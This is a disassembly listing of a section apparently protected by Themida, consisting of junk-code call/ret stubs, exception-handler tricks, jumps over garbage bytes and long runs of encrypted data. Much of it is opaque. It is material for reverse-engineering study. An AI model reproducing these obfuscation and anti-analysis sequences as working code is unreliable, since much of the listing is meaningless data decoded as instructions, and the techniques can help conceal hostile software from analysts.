		jmp	far ptr	8BB6h:785661F1h
; ---------------------------------------------------------------------------
		db 0FEh, 5Fh, 0E9h
		dd 0FFFFFF62h, 25E81835h, 10EE7208h, 0A2048746h
		db 40h,	0BCh, 82h
; ---------------------------------------------------------------------------


loc_5BD023:				; CODE XREF: Themida_:loc_5BCFE3j
		pusha
		push	0
		push	eax
		call	sub_5BD02F
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD02F	proc near		; CODE XREF: Themida_:005BD027p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5BD02F	endp

; ---------------------------------------------------------------------------
		db 44h
		db 8Bh,	0C0h
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5BD04D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD04D	proc near		; CODE XREF: Themida_:005BD045p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5BD04D	endp

; ---------------------------------------------------------------------------
		mul	dword ptr ds:5BD83FDh
		xor	al, 0D1h
		pop	es
		add	[ebp+9], dh
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_5BD08B
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 40Eh
		mov	[ebp+7D113D5h],	eax
		lea	ebx, [ebp+7D3E1B0h]
		call	ebx
		pop	ebx
		pop	eax


loc_5BD08B:				; CODE XREF: Themida_:005BD070j
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_5BD0AB
		push	eax
		push	ebx
		mov	eax, 40Eh
		mov	[ebp+7D113D5h],	eax
		lea	ebx, [ebp+7D3DE9Fh]
		call	ebx
		pop	ebx
		pop	eax


loc_5BD0AB:				; CODE XREF: Themida_:005BD092j
		push	0
		push	ecx
		call	sub_5BD0B6
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD0B6	proc near		; CODE XREF: Themida_:005BD0AEp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5BD0B6	endp

; ---------------------------------------------------------------------------
		dec	edi
		jle	short locret_5BD0E8
		sub	cx, 0F8DAh
		push	0
		push	ecx
		call	sub_5BD0D9
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD0D9	proc near		; CODE XREF: Themida_:005BD0D1p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx

locret_5BD0E8:				; CODE XREF: Themida_:005BD0C7j
		retn
sub_5BD0D9	endp

; ---------------------------------------------------------------------------
		db 5Bh,	35h, 9Fh
; ---------------------------------------------------------------------------
		jmp	loc_5BD0FF
; ---------------------------------------------------------------------------
		db 7Ah,	82h, 0F2h
		dd 63B8281Fh, 0F7E443C4h
		db 0F9h, 67h, 8Dh
; ---------------------------------------------------------------------------


loc_5BD0FF:				; CODE XREF: Themida_:005BD0ECj
		mov	eax, eax
		mov	cx, bx
		cmp	dword ptr [ebp+7D12AA1h], 0
		jz	loc_5BD159
		push	0
		push	eax
		call	sub_5BD11C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD11C	proc near		; CODE XREF: Themida_:005BD114p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5BD11C	endp

; ---------------------------------------------------------------------------
		dd 0EE514F53h, 2B2E9h, 52006A00h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 9A207CA6h, 98AEC347h
		db 2Dh
; ---------------------------------------------------------------------------


loc_5BD159:				; CODE XREF: Themida_:005BD10Bj
		mov	edi, ds
		jnp	$+6
		test	di, 4
		jnz	loc_5BD3E7
		push	0
		push	eax
		call	sub_5BD177
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD177	proc near		; CODE XREF: Themida_:005BD16Fp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5BD177	endp

; ---------------------------------------------------------------------------
		db 7Ch
		dd 3F71ED0h, 6E92C50h, 0B9000000h, 0FC75F730h, 834CB1C8h
		dd 0D11E11BDh, 850F0007h, 2Ah, 239E9FCh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 7ABC58C3h, 7821A297h, 0BFD15Bh, 0E8000000h, 0Eh, 0C495EB64h
		dd 5C66030Dh, 5812372Dh, 0F08B2B66h, 0EE95Ah, 0D17D0000h
		dd 58F73D5Eh, 0C604EB55h, 0C9864532h, 6D409D8Dh, 595607D4h
		dd 0DE993h, 29B90000h, 0BF13471h, 9E91C419h, 50DF0394h
		dd 48E954B9h, 0B70F937Ah, 35FF64F3h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5BD237
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD237	proc near		; CODE XREF: Themida_:005BD22Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5BD237	endp

; ---------------------------------------------------------------------------
		imul	eax, -4Fh
		push	ss
		mov	ecx, eax
		mov	large fs:0, esp
		push	0
		push	ebp
		call	sub_5BD25F
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD25F	proc near		; CODE XREF: Themida_:005BD257p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5BD25F	endp

; ---------------------------------------------------------------------------
		sti
		test	[esi-75h], ebx
		les	ecx, [edx-14FE3230h]
		add	[ecx-3FE9FB16h], al
		xor	al, 64h
		pop	large dword ptr	ds:0
		push	0
		push	ebx
		call	sub_5BD292
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD292	proc near		; CODE XREF: Themida_:005BD28Ap

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5BD292	endp

; ---------------------------------------------------------------------------
		dw 6137h
		dd 41D1365Ch, 8314A782h, 51BA04C4h, 0B18C97Dh, 2C840FC0h
		dd 6A000001h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 1E50C351h, 6A613277h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 5EDCC355h, 12E9D5C2h, 7D000000h, 19F0E81Dh, 9DBA65E3h
		dd 53C4F3C0h, 0E35C9C8Eh, 0C4BD8D7Eh, 6A07D170h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0AF1BC357h, 8BD08B66h, 1B8F1h, 10E80000h, 0F6000000h
		dd 0DE798FDCh, 89A5C16Bh, 0E2585E32h, 66B16EF3h, 59E0AFBEh
		dd 6AE7FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 7349FFC3h, 0A149BAA9h, 8B574585h,	8B10245Ch
		dd 0B883h, 40B60F00h, 89C8FE01h, 0B083h, 0B8838300h, 2000000h
		dd 0C3C0335Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	81C35343h, 73519A52h, 565AF956h, 5ECB8B66h, 56006AFCh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		db 1Bh,	0E2h, 0A4h
; ---------------------------------------------------------------------------


loc_5BD3E7:				; CODE XREF: Themida_:005BD166j
		popa
		push	0
		push	edx
		call	sub_5BD3F3
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD3F3	proc near		; CODE XREF: Themida_:005BD3EBp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5BD3F3	endp

; ---------------------------------------------------------------------------
		db 3Fh
		dd 38A766DCh, 850Fh, 0C08B0000h, 0EE9h,	92458600h, 0ED3E55BDh
		dd 0F477007Bh, 0BEC76E91h, 3413F92Ch, 3405BD83h, 750007D1h
		dd 49BD8309h, 7D128h, 53501974h, 0EB8C08Bh, 89000004h
		dd 0D1201185h, 179D8D07h, 0FF07D3E2h, 83585BD3h, 0D12849BDh
		dd 17740007h, 0EB85350h, 89000004h, 0D1201185h,	0B89D8D07h
		dd 0FF07D3DEh, 80585BD3h, 6A8DC1h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 7384BCC3h, 8BCF8B66h
		dd 50006AC0h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 3C7276F7h, 94657D65h, 8166BCE0h,	8BF2F9D9h
		dd 1718EBC2h, 9B46F3h, 4 dup(0)
		dd 0E9000000h, 20Bh, 245C8B60h,	0E824h,	815D0000h, 0D46EB0EDh
		dd 4C26107h, 0FFE6E900h, 6160FFFFh, 0E90008C2h,	0FFFFFFF6h
		dd 8C26160h, 0FFF6E900h, 6160FFFFh, 0E90008C2h,	0FFFFFFF6h
		dd 8C26160h, 0FFF6E900h, 0FFFFh, 0
		dd 61600000h, 0FFF8E9C3h, 0B58BFFFFh, 7D46EE8h,	0F000E681h
		dd 0BE9FFFFh, 0E8000000h, 19h, 1000C681h, 0B53B0000h, 7D46EECh
		dd 0FFE9860Fh, 200FFFFFh, 0D8220FD8h, 0C36160CFh, 0C88C6650h
		dd 0C00A0324h, 19840Fh,	53500000h, 2BBh, 21858B00h, 8607D120h
		dd 0FDB0A18h, 0FFFFF685h, 58585BFFh, 0C32404FFh, 0FFFFCFE9h
		dd 74FF50FFh, 95FF0824h, 7D119D5h, 4C010F50h, 8358FE24h
		dd 8B531CC0h, 660C245Ch, 66FC5889h, 5B025889h, 24C88C66h
		dd 0FC00A03h, 984h, 21858B00h, 0C607D120h, 0FF580000h
		dd 4C22404h, 0FFBBE900h, 5053FFFFh, 80CB8C66h, 0DB0A03E3h
		dd 38840Fh, 2BB0000h, 8B000000h, 0D1202185h, 0A188607h
		dd 0F6850FDBh, 0C7FFFFFFh, 0D115D585h, 7, 24448B00h, 988B08h
		dd 89000010h, 100098h, 89188B00h, 0AE918h, 85C70000h, 7D115D5h
		dd 100h, 4FF5B58h, 0A3E9C324h, 60FFFFFFh, 0F003E80h, 3184h
		dd 0B7A1BB00h, 1B0763Ah, 13E901B1h, 0AC000000h,	0C302C88Ah
		dd 0CBD1C332h, 0FD20BAAh, 184h,	0C90A4A00h, 0FFE5850Fh
		dd 0D20BFFFFh, 0FFDD850Fh, 0C361FFFFh, 57D48B52h, 33087A8Bh
		dd 1E9C0h, 80AA0000h, 850F003Fh, 0FFFFFFF6h, 4C25A5Fh
		dd 56515300h, 0DB33C033h, 10E9h, 0D833AC00h, 0C381D3D1h
		dd 37465ABCh, 0D3D3C88Ah, 0FC90B49h, 0FFFFE885h, 5EC38BFFh
		dd 60C35B59h, 3AB7A1BBh, 0E901B076h, 11h, 2AC332ACh, 0AACBD1C3h
		dd 840FD20Bh, 1, 0FC00A4Ah, 0FFFFE785h,	0FD20BFFh, 0FFFFDF85h
		dd 66C361FFh, 4A8D88Ch,	29840Fh, 85C70000h, 7D46E8Dh, 1
		dd 4C010F50h, 858FFE24h, 7D46E91h, 6E89858Dh, 0BD8D07D4h
		dd 7D46E91h, 23E93889h,	8D000000h, 0D11D7185h, 38408B07h
		dd 46F31705h, 8985899Bh, 8D07D46Eh, 0D11D7185h,	3C408B07h
		dd 6E8D8589h, 858D07D4h, 7D46EA6h, 19D58589h, 87E907D1h
		dd 52000000h, 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch,	7E9A945h
		dd 0
		dd 0D1063006h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h
		dd 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch, 7E9A945h, 30000000h
		dd 0D1062806h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h
		dd 5156D48Bh, 8BDB3353h, 4A8B0872h, 13E90Ch, 3CAC0000h
		dd 0A840F2Dh, 4000000h,	32133498h, 8C3C1D8h, 0FC90B49h
		dd 0FFFFE585h, 5BC38BFFh, 0C25A5E59h, 858D0008h, 7D47119h
		dd 29958589h, 858D07D1h, 7D47141h, 16798589h, 858D07D1h
		dd 7D47169h, 2B218589h,	8EB07D1h, 2 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5BD88C
; ---------------------------------------------------------------------------
		db 60h,	52h, 0Fh
; ---------------------------------------------------------------------------
		add	[esp-2], ecx
		pop	edx
		add	edx, 24h


loc_5BD81C:				; CODE XREF: Themida_:005BD853j
		mov	eax, [ebp+7D11715h]
		lea	eax, [ebp+7D4BF19h]
		mov	ecx, [eax]
		mov	ecx, [eax+1000h]
		mov	ecx, [edx]
		mov	cx, [edx-4]
		mov	[ebp+7D471CAh],	ecx
		cmp	dword ptr [ebp+7D11E11h], 0
		jz	loc_5BD858
		pusha
		push	0
		call	dword ptr [ebp+7D10055h]
		popa
		jmp	loc_5BD81C
; ---------------------------------------------------------------------------


loc_5BD858:				; CODE XREF: Themida_:005BD843j
		mov	[edx-4], si
		ror	esi, 10h
		mov	[edx+2], si
		push	edx
		int	4		; - internal hardware -	OVERFLOW
					; Generated by INTO instruction	if OF flag is set.  If flag is not set,	INTO
					; is effectively a NOP.
		pop	edx
		mov	[ebp+7D471C6h],	eax
		mov	esi, [ebp+7D471CAh]
		ror	esi, 10h
		mov	[edx+2], si
		mov	esi, [ebp+7D471CAh]
		mov	[edx-4], si
		popa
		mov	eax, [ebp+7D471C6h]
		retn
; ---------------------------------------------------------------------------


loc_5BD88C:				; CODE XREF: Themida_:005BD80Cj
		lea	edx, [ebp+7D103F5h]
		mov	[ebp+7D12021h],	edx
		mov	[ebp+7D11E25h],	edx
		inc	dword ptr [ebp+7D11E25h]
		mov	byte ptr [ebp+7D131B5h], 53h
		push	0FCB148D8h
		push	dword ptr [ebp+7D11CC9h]
		lea	eax, [ebp+7D13B01h]
		call	eax
		mov	[ebp+7D10055h],	eax
		lea	eax, [ebp+7D46EC0h]
		mov	[ebp+7D132E9h],	eax
		jmp	short $+2
		jmp	loc_5BDE73
; ---------------------------------------------------------------------------
		jmp	loc_5BDE6C
; ---------------------------------------------------------------------------
		push	7D4737Ch
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D4745Ch
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D474D5h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D475AEh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D4770Dh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		dw 2D51h
		dd 5F3926B3h, 6E2714A1h, 77160390h, 83FFEC79h, 801DD865h
		dd 5926E2Ch, 0F27F7D18h, 0DD6A8405h, 0C75490F0h, 0F17C3925h
		dd 0D319FD26h, 0BE220DEBh, 448FEBA7h, 9D5AE9CDh, 12299BCCh
		dd 299B8DE0h, 9C4D1F12h, 0A5F1229h, 7312299Ch, 5BEA0686h
		dd 299BCC9Eh, 9B89E012h, 7F49229h, 135A178Ah, 0B192299Ch
		dd 66F4831Ah, 0FDE9D534h, 0E6757310h, 0FA9ED929h, 6854EB99h
		dd 53E01E7Bh, 0E6CB2566h, 0DBC72A58h, 0CBB9C41Eh, 771300A1h
		dd 2C309479h, 0D8930603h, 9D056900h, 66F63916h,	2E6014ABh
		dd 927EBA9Bh, 42035ADh,	0F9A50000h, 0B8D7A07h, 1A7B68F5h
		dd 2B6A57E4h, 375340CDh, 2C712CB9h, 61EE0A88h, 4EDB1174h
		dd 39C62061h, 23B04C4Ch, 95D89581h, 2F19FD27h, 63216947h
		dd 87E3A085h, 931228B4h, 820239E8h, 0ACECD966h,	1E7E6B50h
		dd 0C671FDE2h, 44A0E057h, 366F40B7h, 0A76E39CDh, 90000003h
		dd 0A0856321h, 28B487E3h, 890F512h, 0EF866B89h,	2867358h
		dd 0D27D09EEh, 0D9844223h, 8C07F42Ah, 92F2DF6Eh, 3B27C956h
		dd 0C820624Fh, 0BD4CE3h, 1228B46Dh, 0EEDBC057h,	36753ADh
		dd 7A91F29h, 0C04DDC5Fh, 5237B5D3h, 0A431D0C4h,	361BD9B7h
		dd 0C43A5D4Ah, 6A521BD8h, 0DB721229h, 70245F4Ch, 5AF1D612h
		dd 0F07936C3h, 8C122969h, 800EF309h, 4603EF12h,	19FA7DDCh
		dd 0FB9D51E8h, 0E9F6C8DEh, 3408C04h, 0D9C50000h, 0EBAD9A27h
		dd 0FA9B8815h, 0B8A7704h, 177360EDh, 0C914CD9h,	810EEAA8h
		dd 6EFBF194h, 59E60081h, 43D02C6Ch, 75F8B5A1h, 4F19FD28h
		dd 36228967h, 28B4F479h, 0AA39D012h, 3C21DFBDh,	0CEB3314Fh
		dd 0BB48A6E1h, 28B4ABFEh, 0C4680112h, 71141228h, 90D9967Bh
		dd 4B1228C4h, 6ACEBA5Fh, 2FF80E9Eh, 0D9C554E7h,	0FAD4121Ch
		dd 671BB219h, 0F6CB0833h, 0C750C8ADh, 4C000002h, 3421AE52h
		dd 220F9C50h, 11FE8B65h, 0FAE77472h, 18D36098h,	95532F85h
		dd 82781B08h, 6D8B08F5h, 5795F3E0h, 7F3C28CAh, 19FD28EEh
		dd 2110EED6h, 0B3A08563h, 0A63217D5h, 0B2160CFBh, 682DE098h
		dd 0B61AB196h, 0BD4C88A7h, 5067B0D0h, 1BE93888h, 0F36AF78Eh
		dd 39CDAEBCh, 24921h, 35224300h, 1EB59A54h, 0B497D28Fh
		dd 0A4E51228h, 0B3D0BD4Ah, 0B54A23E0h, 0E37A1228h, 197A674Ch
		dd 8C0DFADFh, 0E3A08D72h, 0DC65F238h, 6D04A65Fh, 3F99B88h
		dd 1F40AF5Ah, 239E893h,	0EEDA6781h, 92C6448Ah, 0BDA96102h
		dd 29436D00h, 31C05712h, 0CDC4F5BAh, 52E839h, 10FC0000h
		dd 29381A53h, 8413AA12h, 0EF1280A6h, 0C5384603h, 0F58C19F9h
		dd 0C8075341h, 0F46C51F6h, 1EEh, 48D50B73h, 36C3395Bh
		dd 25B24C49h, 0E9B5938h, 0FA876121h, 34565E3Fh,	47422FBCh
		dd 522F1CA9h, 7A1A0794h, 634FF17Eh, 0FD29C7A6h,	3715FD19h
		dd 0D794806Ch, 1228B496h, 0AA4FA1E6h, 0DB988413h, 1228B49Ah
		dd 0BAA7932Ah, 0A43B20D8h, 46433015h, 54B83052h, 0D8E22680h
		dd 5FEC839Fh, 0F1D61272h, 1D7A3163h, 7A67FEE3h,	64FBE018h
		dd 365340CDh, 5E3E2BB8h, 0CAC9B6A2h, 9E5B472Ch,	1229A9CFh
		dd 38C75EF5h, 0CD236653h, 5894F4E1h, 33F0DC73h,	1229AA3Ah
		dd 0D764F38Ah, 0E18C4935h, 0E31229A9h, 73FC604Ch, 20036338h
		dd 0CDEAC083h, 139D4E69h, 4FB39F84h, 0A1E69C17h, 6FD36A4Fh
		dd 901F617Ah, 7F0CE2A3h, 755A8BF1h, 0ACFF9C89h,	29507EEFh
		dd 18AF4612h, 200D9C33h, 3FFC8967h, 1229512Ah, 3420C1B1h
		dd 0FA826777h, 0DAC65D19h, 6854AAEDh, 0FA82C2ABh, 0DC6B0219h
		dd 6B8103F0h, 0F7F1927Fh, 0AAEEDB68h, 96066A56h, 24A33078h
		dd 0C3395B48h, 0D3B847DEh, 5F4BA5E6h, 0F0D51372h, 0F9E5CA59h
		dd 7F1B8F0Ch, 6E059C81h, 7663F289h, 0BF8DD13h, 18F748Ah
		dd 7F791A91h, 806C039Ah, 0D1B3E11Ch, 4A9C1CDh, 0EF7310D5h
		dd 6F28118h, 0CB0CAD49h, 0CC801721h, 0FEBB4FEAh, 8FE1593Eh
		dd 14000000h, 0FCE9766Ah, 0EAD76498h, 0D9C653ADh, 0C2AF3CBAh
		dd 0E09B28C0h, 5D9BF7BDh, 4AA0E3D0h, 35B3D0BDh,	1FDDBBA8h
		dd 4704F092h, 19FD2C26h, 22D8B69Eh, 0F9E5035h, 0A1866222h
		dd 3318D4B4h, 160DFCA7h, 87652476h, 0E7740BA2h,	0CD363F70h
		dd 1C9E39h, 51C00000h, 1228B519h, 4FFA2563h, 557C67BBh
		dd 0B19E8A21h, 0F88514D2h, 1880h, 1851A200h, 641228B5h
		dd 0D7117224h, 244906F2h, 0A01228B5h, 4EDB7209h, 3E3ABE70h
		dd 2, 7D2114F2h, 0D3B19E83h, 46433015h,	0B3D6C3A8h, 2F6B583Dh
		dd 83FFECD1h, 0F4938065h, 632411F6h, 0D9BBA88Dh, 686F3E23h
		dd 5CBBh, 53243489h, 0C381E389h, 4, 4EB81h, 1C870000h
		dd 14895C24h, 1E216824h, 4890000h, 72D06824h, 148B07D4h
		dd 4C48124h, 54000000h,	8324048Bh, 676804C4h, 8900002Bh
		dd 2C812414h, 2F087C24h, 8408F31h, 7C084081h, 0FF312F08h
		dd 83582434h, 34FF04C4h, 0C4815A24h, 4,	0FD0657E9h, 244E30FFh
; ---------------------------------------------------------------------------


loc_5BDE6C:				; CODE XREF: Themida_:005BD8D7j
		mov	eax, 7D477C1h
		add	eax, ebp


loc_5BDE73:				; CODE XREF: Themida_:005BD8D2j
		mov	edx, ecx
		jmp	short loc_5BDE97
; ---------------------------------------------------------------------------
		align 4
		dd 7 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5BDE97:				; CODE XREF: Themida_:005BDE75j
		jmp	loc_5BE3F2
; ---------------------------------------------------------------------------
		jmp	loc_5BE3EB
; ---------------------------------------------------------------------------
		push	7D47A1Bh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D47AB7h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D47C47h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D47CABh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		db 96h,	0E8h, 0F8h
		dd 0E61A7E6Bh, 0D52B6C59h, 0BE3C5B48h, 0AA464431h, 793B621Dh
		dd 6552DF19h, 523FCC22h, 3D2AB731h, 7214A15Fh, 2CA4C986h
		dd 382019FDh, 8A64215Ah, 0B481E8A5h, 99FB9228h,	79599D96h
		dd 0E2796900h, 777510FDh, 0CF3EE992h, 82711CAEh, 0CDD7AE01h
		dd 3A2FB9h, 51510000h, 1228B519h, 4531D0C2h, 0D3296C59h
		dd 28B55716h, 47D66D12h, 2D209E5Bh, 705D19FDh, 5F2D715h
		dd 0EC836886h, 8A21C655h, 90AD11FDh, 527384D5h,	22199120h
		dd 3B000000h, 28B51851h, 0BB016512h, 0F0088AFAh, 0C438DF8Ch
		dd 0C0FBA735h, 0A49027C5h, 0FD7AD7E7h, 0C956ED19h, 8A6421EBh
		dd 0B480E8A5h, 0F5A09228h, 78760F06h, 0C6275DEBh, 8701EEDAh
		dd 0DB988469h, 9228B492h, 75049B32h, 28C4B1B8h,	977C1392h
		dd 810EEAAAh, 766287F3h, 0F9DBC5B9h, 5613FF99h,	99F9DC17h
		dd 23C1C0ADh, 0A509F58Ch, 3BA2D4A2h, 90F3E0FCh,	0FAE6CB5Ah
		dd 0C91C510Eh, 11A899F9h, 0C8A4C582h, 0BCD899F9h, 2F6E5B40h
		dd 0B560ECD1h, 0A7932546h, 0C86FFEBBh, 0BE5599F9h, 1495842Fh
		dd 0C19E469Bh, 9342h, 12806400h, 751603EFh, 12FF967Bh
		dd 0FC937870h, 78C4816Dh, 4C19FD26h, 26CAA360h,	4C3B19FDh
		dd 21D56409h, 0A73ED57Ah, 0F6E3CFBBh, 0CDA05D93h, 0B019FCF3h
		dd 0FCF37AF3h, 0EB34A19h, 9FCE8B77h, 2519FCF3h,	7212FF8Eh
		dd 9CFCE976h, 2227AC60h, 0DCC1F6CDh, 2E164h, 68980600h
		dd 56AAEEDBh, 45BBDCC9h, 2ECCCBB8h, 1AD6B4A1h, 0E9CBD28Dh
		dd 0D5C24FA9h, 0C2AF3CB2h, 0AD9A27C1h, 0E28411EFh, 2F3439F6h
		dd 0A89019FDh, 2AC96CAh, 0BDAA0000h, 0B59322DCh, 49493622h
		dd 7633CAAFh, 1228B4F7h, 0BAA736CDh, 34CACDDDh,	6EFBB89Dh
		dd 3E1228B4h, 1228B5ABh, 28B56B01h, 0B6284112h,	68551228h
		dd 8441D02Ch, 1228B5E5h, 28B5A2C7h, 0A84939D2h,	0D97EFFBCh
		dd 0AF46D9FCh, 0AB4E3CCAh, 0A5E6D3BFh, 0E3FFBC4Bh, 0E1E1CDF3h
		dd 2237964Ah, 0C8AD3EBCh, 24550h, 0CC346A00h, 0BA36523Fh
		dd 0A947402Dh, 92502F1Ch, 7E7A1805h, 456736F1h,	311EAB45h
		dd 1E0B9856h, 9F6837Dh,	3EE06D8Bh, 2ED89552h, 4EC19FDh
		dd 85632126h, 816012A0h, 2CCAD895h, 0C6B319FDh,	0F79C2BC5h
		dd 83E7D360h, 0E248AC88h, 3D2AB9ACh, 2C19A658h,	0C4B0956Bh
		dd 0DB3FBDD7h, 8082C812h, 0EE7C0BD6h, 0B4715DBCh, 21D168F6h
		dd 0EDAA37CEh, 21D1687Ch, 0E2CE335Fh, 52B8647Eh, 0AF6104Dh
		dd 0D16A204Dh, 7E0DA421h, 0E1D1D592h, 0BFAC29A5h, 31CFCEC2h
		dd 8F1EB54Ch, 7A6753EAh, 9608881Ah, 8017FCF4h, 0D8C552E9h
		dd 9A573CB8h, 29A5E1DFh, 74158EFCh, 3AF7E37Ah, 317A5A80h
		dd 0D4C1AD44h, 4BA5E2B4h, 26E3CF66h, 317A5B47h,	0C24FE67Dh
		dd 5439B7D5h, 7A5AE297h, 6889F931h, 0F8F68F7Ch,	0EAC07D69h
		dd 0DA394ED2h, 2A6A5743h, 345441CEh, 0FAE7D3B8h, 0E57C619Fh
		dd 37DAC856h, 0C7395E4Bh, 2F8F4C38h, 9541234Bh,	402D19FEh
		dd 5815A440h, 41234B11h, 0ABEC1BC6h, 68C7CC04h,	28D9h
		dd 1501ED00h, 233F1558h, 5B18AF41h, 41233F12h, 0AE8C1BB2h
		dd 0F4793622h, 0D01228B4h, 7CEDAA39h, 751228D1h, 7, 0CF185197h
		dd 80731228h, 1703EF12h, 6E6256B3h, 2EBDC2E6h, 0FD753171h
		dd 235F4C19h, 0BA49E0C5h, 0D089B115h, 0CF527CA5h, 69D34B2h
		dd 2E79321h, 8D6B2916h,	0A15512FEh, 2321CE8Bh, 0CA6FD88Ch
		dd 9C81FEBCh, 0B524h, 3CA4DA00h, 2AC6C2AFh, 19D7B09Dh
		dd 2E09F8Ch, 0EE0A8875h, 0B5F7A661h, 0A18E1BD5h, 8E7B08E6h
		dd 7966F30Dh, 0AE50DD1Bh, 306805C2h, 745C19FDh,	0EF128096h
		dd 2D5C4603h, 0D16819FDh, 0CD2C5EECh, 5997F4E1h, 0E9661074h
		dd 11B80A40h, 0F30D8D7Ah, 0B7BB7864h, 0D21CEAAh, 0EB2FC276h
		dd 10F5FEBCh, 5198h, 0D8087600h, 0C63A5E4Bh, 0B54B4C39h
		dd 9E5C3B28h, 8A662411h, 595B42FDh, 4532BF39h, 321FAC42h
		dd 1D0A9751h, 52F4817Fh, 30C4A966h, 180019FDh, 1C963Ah
		dd 0BEAA0000h, 28B46C01h, 32C15812h, 0E9D6C254h, 0D1684DABh
		dd 0B54528E5h, 0E87F1228h, 7D217B59h, 0D3B19E83h, 46433015h
		dd 0B3D6C3A8h, 2F6B583Dh, 83FFECD1h, 0F4938065h, 632411F6h
		dd 0D9BBA88Dh, 516F3E23h, 0C1815954h, 4, 8704E983h, 525C240Ch
		dd 0C281E289h, 4, 8704EA83h, 895C2414h,	8951241Ch, 4C181E1h
		dd 83000000h, 0C8704E9h, 14895C24h, 4EC8124h, 89000000h
		dd 8BB82404h, 8907D478h, 0EC8158C3h, 4,	83242489h, 5A042404h
		dd 89D98951h, 0C8B084Ah, 4C48124h, 8B000000h, 89532414h
		dd 4C381E3h, 83000000h,	1C8704C3h, 34FF5C24h, 0C4835B24h
		dd 0DEE904h, 5240FFFDh,	2EB6F283h
		db 46h,	5, 0CAh
; ---------------------------------------------------------------------------


loc_5BE3EB:				; CODE XREF: Themida_:005BDE9Cj
		mov	eax, 7D47D21h
		add	eax, ebp


loc_5BE3F2:				; CODE XREF: Themida_:loc_5BDE97j
		mov	ecx, eax
		jmp	loc_5BE44A
; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+24h]
		add	esi, [esi+3Ch]
		mov	edi, [esp+28h]
		mov	edx, esi
		add	edx, 0F8h
		mov	cx, [esi+6]
		movzx	ecx, cx


loc_5BE414:				; CODE XREF: Themida_:005BE43Fj
		cmp	ecx, 0
		jz	loc_5BE433
		cmp	edi, [edx+0Ch]
		jg	loc_5BE43B
		sub	edx, 28h
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+14h]
		sub	eax, ecx
		sub	edi, eax


loc_5BE433:				; CODE XREF: Themida_:005BE417j
					; Themida_:005BE445j
		mov	[esp+1Ch], edi
